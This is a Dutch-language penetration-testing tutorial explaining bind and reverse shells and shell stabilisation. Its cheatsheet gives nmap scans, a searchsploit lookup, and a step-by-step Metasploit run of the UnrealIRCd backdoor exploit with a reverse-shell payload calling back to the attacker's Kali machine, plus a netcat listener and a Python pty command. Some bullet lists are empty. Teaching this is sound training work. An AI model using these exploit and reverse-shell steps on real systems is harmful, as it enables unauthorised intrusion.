Een shell is een applicatie waarmee je (op afstand) kunt communiceren met het operating system van een computer.
Binnen cybersecurity verwijst een shell vaak naar een sessie die een aanvaller verkrijgt op een doelwitsysteem.
Met een shell kan een aanvaller onder andere:
Er zijn twee hoofdtypen shells:
Een bind shell is een shell waarbij de verbinding van de aanvaller naar het doelwit wordt opgezet.
4444Een reverse shell is een shell waarbij de verbinding van het doelwit naar de aanvaller wordt opgezet.
De aanvaller start een listener op zijn eigen machine
Bijvoorbeeld:
netcat -lvnp 4444
De aanvaller triggert een exploit of script op het doelwit
Het doelwit maakt verbinding terug naar de aanvaller
De aanvaller krijgt shell-toegang tot het doelwit
Na exploitatie is een shell vaak instabiel. Dit betekent dat de shell beperkt is in functionaliteit.
Kenmerken:
Daarom wordt een shell meestal gestabiliseerd.
Een stabiele shell biedt een volledig interactieve terminal.
Kenmerken:
Ctrl+C, Ctrl+Z)Shells worden vaak met scripts geüpgraded naar een stabiele variant.
Cheatsheet:
Voer een grondige scan uit op het doelwit:
Poortscan:
nmap -p- <IP_DOELWIT>
Service- en versiescan:
nmap -sV <IP_DOELWIT>
Zoek naar bekende exploits met searchsploit:
searchsploit unrealirc
Start het Metasploit Framework:
sudo msfconsole
Zoek naar UnrealIRCd exploits:
search unrealirc
Er is slechts één relevante exploit beschikbaar (backdoor).
use exploit/unix/irc/unreal_ircd_3281_backdoor
Bekijk welke instellingen nodig zijn:
options
Stel het doelwit in:
set RHOSTS <IP_DOELWIT>
De poort is meestal al correct ingesteld.
Start de exploit:
exploit
Metasploit geeft aan dat er een payload nodig is.
Bekijk beschikbare payloads:
show payloads
Gebruik een reverse shell payload:
set payload cmd/unix/reverse
Stel je eigen Kali-machine in als listener:
set LHOST <IP_KALI>
Start de exploit:
exploit
Metasploit start automatisch een listener.
Na succesvolle exploitatie ben je verbonden met het doelwit.
Gebruik het volgende Python-commando op het doelwit om de shell te stabiliseren:
python -c 'import pty; pty.spawn("/bin/bash")'
Dit zorgt voor:
Begrip van shells en shelltypes is essentieel voor post-exploitation, laterale beweging en privilege escalation binnen penetration testing.